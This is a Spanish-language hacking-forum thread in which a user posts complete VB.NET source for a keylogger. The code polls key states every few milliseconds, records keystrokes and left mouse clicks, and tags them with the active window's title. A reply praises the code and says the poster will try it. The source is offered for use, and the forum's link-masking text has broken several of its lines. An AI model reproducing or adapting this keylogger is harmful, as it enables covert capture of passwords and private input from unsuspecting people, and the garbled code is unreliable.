comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger Visual Basic .NET

  • 1 Respuestas
  • 4624 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email
« en: Septiembre 28, 2012, 12:37:25 pm »
Este recoje un gran variedad de teclas y obtiene el nombre de la ventana donde se esta escribiendo para mayor informacion y obtiene tambien clicks del mouse solo del boton Izquierdo.

Código: vb.net
  1. '------------------------------------|
  2. '|Keylogger profesional de Robokop   |
  3. '|Este codigo esta reservado         |
  4. '|Para uso personal su distribucion  |
  5. '|esta penada por la ley mexicana.   |
  6. '------------------------------------|
  7.  
  8. 'Este codigo ha sido escrito desde Cero en visual Studio .Net 2005
  9. 'Esta versión se encuentra libre de errores y con un warning que
  10. 'no eh podido corregir pero no hay problema porque funciona bien y utiliza apis nativas de Vb6
  11. 'Ya que en el .NET no he encontrado NameSPace de getAsyncKeyState xD
  12. 'Este codigo se ha baso en declaraciones para obtener corresponditenes nombres
  13. 'ya que se basa en la resta de 32767 para obtener los caracteres correctos.
  14. 'Por cierto fue un lio encontrar los numeros de cada letra ¬¬.
  15.  
  16. Option Strict Off
  17. Option Explicit On
  18. Imports VB = Microsoft.VisualBasic
  19. Friend Class Form1
  20.         Inherits System.Windows.Forms.Form
  21.         Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  22.         Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
  23.         Private Declare Function GetForegroundWindow Lib "user32" () As Integer
  24.         Private Declare Function GetWindowText Lib "user32"  Alias "GetWindowTextA"(ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
  25.         Private Declare Function GetWindowTextLength Lib "user32"  Alias "GetWindowTextLengthA"(ByVal hwnd As Integer) As Integer
  26.        
  27.         Private LastWindow As String
  28.         Private LastHandle As Integer
  29.         Private dKey(255) As Integer
  30.         Private Const VK_SHIFT As Short = &H10s
  31.         Private Const VK_CTRL As Short = &H11s
  32.         Private Const VK_ALT As Short = &H12s
  33.         Private Const VK_CAPITAL As Short = &H14s
  34.         Private ChangeChr(255) As String
  35.         Private AltDown As Boolean
  36.        
  37.         Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
  38.         'Conversión de caracteres especiales....
  39.         ChangeChr(33) = "[RePag]"
  40.         ChangeChr(34) = "[AvPag]"
  41.         ChangeChr(35) = "[Fin]"
  42.         ChangeChr(36) = "[Inicio]"
  43.                
  44.         ChangeChr(45) = "[Insertar]"
  45.         ChangeChr(46) = "[Suprimir]"
  46.                
  47.                 ChangeChr(48) = ")"
  48.                 ChangeChr(49) = "!"
  49.                 ChangeChr(50) = "@"
  50.                 ChangeChr(51) = "#"
  51.                 ChangeChr(52) = "$"
  52.                 ChangeChr(53) = "%"
  53.                 ChangeChr(54) = "^"
  54.                 ChangeChr(55) = "&"
  55.                 ChangeChr(56) = "*"
  56.                 ChangeChr(57) = "("
  57.                
  58.                 ChangeChr(186) = ";"
  59.                 ChangeChr(187) = "="
  60.                 ChangeChr(188) = ","
  61.                 ChangeChr(189) = "-"
  62.                 ChangeChr(190) = "."
  63.                 ChangeChr(191) = "/"
  64.                
  65.                 ChangeChr(219) = "["
  66.                 ChangeChr(220) = "\"
  67.                 ChangeChr(221) = "]"
  68.                 ChangeChr(222) = "'"
  69.                
  70.                
  71.                 ChangeChr(86) = ":"
  72.                 ChangeChr(87) = "+"
  73.                 ChangeChr(88) = "<"
  74.                 ChangeChr(89) = "_"
  75.                 ChangeChr(90) = ">"
  76.                 ChangeChr(91) = "?"
  77.                
  78.                 ChangeChr(119) = "{"
  79.                 ChangeChr(120) = "|"
  80.                 ChangeChr(121) = "}"
  81.                 ChangeChr(122) = """"
  82.                
  83.                
  84.                 ChangeChr(96) = "0"
  85.                 ChangeChr(97) = "1"
  86.                 ChangeChr(98) = "2"
  87.                 ChangeChr(99) = "3"
  88.                 ChangeChr(100) = "4"
  89.                 ChangeChr(101) = "5"
  90.                 ChangeChr(102) = "6"
  91.                 ChangeChr(103) = "7"
  92.                 ChangeChr(104) = "8"
  93.                 ChangeChr(105) = "9"
  94.                 ChangeChr(106) = "*"
  95.                 ChangeChr(107) = "+"
  96.                 ChangeChr(109) = "-"
  97.                 ChangeChr(110) = "."
  98.                 ChangeChr(111) = "/"
  99.  
  100.                 ChangeChr(192) = "`"
  101.                 ChangeChr(92) = "~"
  102.         End Sub
  103.        
  104.         Function TypeWindow() As Object
  105.                 Dim svar As Object
  106.         'Funcion para saber el tipo de ventana y devolver el nombre.
  107.                 Dim Handle_Renamed As Integer
  108.                 Dim textlen As Integer
  109.                 Dim WindowText As String
  110.         'Obtenemos el nombre de la vetana de fondo
  111.                 Handle_Renamed = GetForegroundWindow
  112.                 LastHandle = Handle_Renamed
  113.                 textlen = GetWindowTextLength(Handle_Renamed) + 1
  114.                
  115.         WindowText = No tienes permisos para ver links. Registrate o Entra con tu cuenta(textlen) 'Obtenemos el espacio del nombre
  116.         svar = GetWindowText(Handle_Renamed, WindowText, textlen) 'Guardamos en la variable svar_
  117.         'El contenido del nombre
  118.                 WindowText = VB.No tienes permisos para ver links. Registrate o Entra con tu cuenta(WindowText, Len(WindowText) - 1)
  119.         'Cuando se hace cambio de ventana se pasa un espacio y se pone un delimitador_
  120.         'con ese delimitador nos damos cuenta de que el nombre ya cambio .
  121.                 If WindowText <> LastWindow Then
  122.             If Text1.Text <> "" Then Text1.Text = Text1.Text & vbCrLf & vbCrLf
  123.             'Separador que escrimos en el textbox
  124.                         Text1.Text = Text1.Text & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
  125.             LastWindow = WindowText 'vemos ventana
  126.                 End If
  127.         End Function
  128.        
  129.         Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
  130.         Dim i As Object 'Timer que cada 5 milisegundos checa las pulsaciones de teclas...
  131.                
  132.         'cuando AlT se preciona.
  133.                 If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
  134.                         AltDown = False
  135.             Text1.Text = Text1.Text & "[ALT]"
  136.                 End If
  137.                
  138.         'Obtenemos caracteres de la A a la Z
  139.         'Los obtenemos de una forma For To para Ahorrar codigo en especificar cada _
  140.         'caracter asi que llevamos desde el numero ascii de A hasta la Z_
  141.         'en mayuscula y miniscula
  142.                 For i = No tienes permisos para ver links. Registrate o Entra con tu cuenta("A") To No tienes permisos para ver links. Registrate o Entra con tu cuenta("Z")
  143.  
  144.                         If GetAsyncKeyState(i) = -32767 Then
  145.                                 TypeWindow()
  146.                                
  147.                 If GetAsyncKeyState(VK_SHIFT) < 0 Then 'Shift
  148.                     If GetKeyState(VK_CAPITAL) > 0 Then
  149.                         Text1.Text = Text1.Text & No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(i))
  150.                         Exit Sub
  151.                     Else
  152.                         Text1.Text = Text1.Text & No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(i))
  153.                         Exit Sub
  154.                     End If
  155.                 Else
  156.                     If GetKeyState(VK_CAPITAL) > 0 Then 'Shift Izq
  157.                         Text1.Text = Text1.Text & No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(i))
  158.                         Exit Sub
  159.                     Else
  160.                         Text1.Text = Text1.Text & No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(i))
  161.                         Exit Sub
  162.                     End If
  163.                 End If
  164.                                
  165.                         End If
  166.                 Next
  167.                
  168.         'Obtenemos numeros del 1 al 0 y signos con shift
  169.         '!"·$%&$%$$$··"·@@~~@€€36$%&$/$·$&&(/
  170.                 For i = 48 To 57
  171.  
  172.                         If GetAsyncKeyState(i) = -32767 Then
  173.                                 TypeWindow()
  174.                                
  175.                                 If GetAsyncKeyState(VK_SHIFT) < 0 Then
  176.                     Text1.Text = Text1.Text & ChangeChr(i)
  177.                                         Exit Sub
  178.                                 Else
  179.  
  180.                                         Text1.Text = Text1.Text & No tienes permisos para ver links. Registrate o Entra con tu cuenta(i)
  181.                                         Exit Sub
  182.                                 End If
  183.                                
  184.                         End If
  185.                 Next
  186.                
  187.                
  188.         'Obtenemos los signos donde estan los numeros en la parte derecha del teclado...
  189.                 For i = 186 To 192
  190.  
  191.                         If GetAsyncKeyState(i) = -32767 Then
  192.                                 TypeWindow()
  193.                                
  194.                                 If GetAsyncKeyState(VK_SHIFT) < 0 Then
  195.                     'Negacion-
  196.                                         Text1.Text = Text1.Text & ChangeChr(i - 100)
  197.                                         Exit Sub
  198.                                 Else
  199.                     Text1.Text = Text1.Text & ChangeChr(i)
  200.                                         Exit Sub
  201.                                 End If
  202.                                
  203.                         End If
  204.                 Next
  205.                
  206.                
  207.                 '[\]'
  208.                 For i = 219 To 222
  209.  
  210.                         If GetAsyncKeyState(i) = -32767 Then
  211.                                 TypeWindow()
  212.                                
  213.                                 If GetAsyncKeyState(VK_SHIFT) < 0 Then
  214.  
  215.                                         Text1.Text = Text1.Text & ChangeChr(i - 100)
  216.                                         Exit Sub
  217.                                 Else
  218.  
  219.                                         Text1.Text = Text1.Text & ChangeChr(i)
  220.                                         Exit Sub
  221.                                 End If
  222.                                
  223.                         End If
  224.                 Next
  225.                
  226.         'Diferentes posiciones de Alt en el teclado.:P
  227.         'Por cierto ya casi acabamos.
  228.                 For i = 96 To 111
  229.  
  230.                         If GetAsyncKeyState(i) = -32767 Then
  231.                                 TypeWindow()
  232.                                
  233.                                 If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  234.                                         AltDown = True
  235.                     Text1.Text = Text1.Text & "[ALT-abajo]"
  236.                                 Else
  237.                                         If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
  238.                                                 AltDown = False
  239.                         Text1.Text = Text1.Text & "[ALT-arriba]"
  240.                                         End If
  241.                                 End If
  242.                                
  243.  
  244.                                 Text1.Text = Text1.Text & ChangeChr(i)
  245.                                 Exit Sub
  246.                         End If
  247.                 Next
  248.                
  249.         'Barra de Espacio y dejamos un espacio en el text
  250.                 If GetAsyncKeyState(32) = -32767 Then
  251.                         TypeWindow()
  252.                         Text1.Text = Text1.Text & " "
  253.                 End If
  254.                
  255.         'Enter
  256.                 If GetAsyncKeyState(13) = -32767 Then
  257.                         TypeWindow()
  258.                         Text1.Text = Text1.Text & "[Enter]"
  259.                 End If
  260.                
  261.         'Retroceso
  262.                 If GetAsyncKeyState(8) = -32767 Then
  263.                         TypeWindow()
  264.             Text1.Text = Text1.Text & "[Retroceso]"
  265.                 End If
  266.                
  267.         'Flecha Izq
  268.                 If GetAsyncKeyState(37) = -32767 Then
  269.                         TypeWindow()
  270.             Text1.Text = Text1.Text & "[FlechaIzq]"
  271.                 End If
  272.         '----Flechas---------
  273.         'Flecha arriba
  274.                 If GetAsyncKeyState(38) = -32767 Then
  275.                         TypeWindow()
  276.             Text1.Text = Text1.Text & "[FlechaArriba]"
  277.                 End If
  278.                
  279.         'Flecha derecha
  280.                 If GetAsyncKeyState(39) = -32767 Then
  281.                         TypeWindow()
  282.             Text1.Text = Text1.Text & "[FlechaDer]"
  283.                 End If
  284.                
  285.         'Flecha abajo
  286.                 If GetAsyncKeyState(40) = -32767 Then
  287.                         TypeWindow()
  288.             Text1.Text = Text1.Text & "[FlechaAbajo]"
  289.                 End If
  290.         'Fin de flechas--------
  291.  
  292.         'Tabulador  ------>
  293.         '           <------
  294.                 If GetAsyncKeyState(9) = -32767 Then
  295.                         TypeWindow()
  296.             Text1.Text = Text1.Text & "[Tabulador]"
  297.                 End If
  298.                
  299.                 'escape
  300.                 If GetAsyncKeyState(27) = -32767 Then
  301.                         TypeWindow()
  302.                         Text1.Text = Text1.Text & "[Escape]"
  303.                 End If
  304.                
  305.         'Intertar y suprimir
  306.                 For i = 45 To 46
  307.  
  308.                         If GetAsyncKeyState(i) = -32767 Then
  309.                                 TypeWindow()
  310.                 Text1.Text = Text1.Text & ChangeChr(i)
  311.                         End If
  312.                 Next
  313.                
  314.         'Pagina arriba , pagina abajo ,home y End
  315.                 For i = 33 To 36
  316.             '
  317.                         If GetAsyncKeyState(i) = -32767 Then
  318.                                 TypeWindow()
  319.                 Text1.Text = Text1.Text & ChangeChr(i)
  320.                         End If
  321.                 Next
  322.                
  323.         'Click izquierdo
  324.                 If GetAsyncKeyState(1) = -32767 Then
  325.             If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'Nos aseguramos que el click fue en la pagina vista
  326.                 Text1.Text = Text1.Text & "[ClickIzq]"
  327.             End If
  328.                 End If
  329.                
  330.         End Sub
  331.  
  332.     Private Sub Text1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Text1.TextChanged
  333.  
  334.     End Sub
  335. End Class
  336.  
  337.  


Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
« Última modificación: Mayo 27, 2014, 09:51:03 pm por Expermicid »
Venta de diseños - Contactar por MP

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado @NetFcruz

  • *
  • Underc0der
  • Mensajes: 40
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Diciembre 22, 2012, 01:07:37 pm »
Es un grandisimo aporte ahora mismo lo pruebo, unas funciones que necesito parece que las tiene.
Saludos dracko.rx
System32
XD
No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



Microsoft Visual Studio 2013 Ultimate + Resource Pack (Actualizado 09-Oct-2014)

Iniciado por Elektro

Respuestas: 2
Vistas: 3990
Último mensaje Abril 10, 2016, 10:24:10 pm
por AlejandroTrejoCode
De Keylogger Local a Remoto (VB 2008)

Iniciado por ANTRAX

Respuestas: 4
Vistas: 4156
Último mensaje Junio 19, 2013, 08:38:03 pm
por [L]ord [R]NA
[C#] Creacion de un Keylogger

Iniciado por BigBear

Respuestas: 4
Vistas: 2943
Último mensaje Septiembre 10, 2014, 01:53:53 pm
por BigBear
Visual Basic .Net Español [Luis Miguel Blanco]

Iniciado por Expermicid

Respuestas: 6
Vistas: 3640
Último mensaje Enero 01, 2014, 08:50:33 pm
por Dixian
Curso de Visual Basic 2010 (Español)

Iniciado por Aryenal.Bt

Respuestas: 21
Vistas: 23954
Último mensaje Octubre 14, 2014, 07:25:36 pm
por blackdrake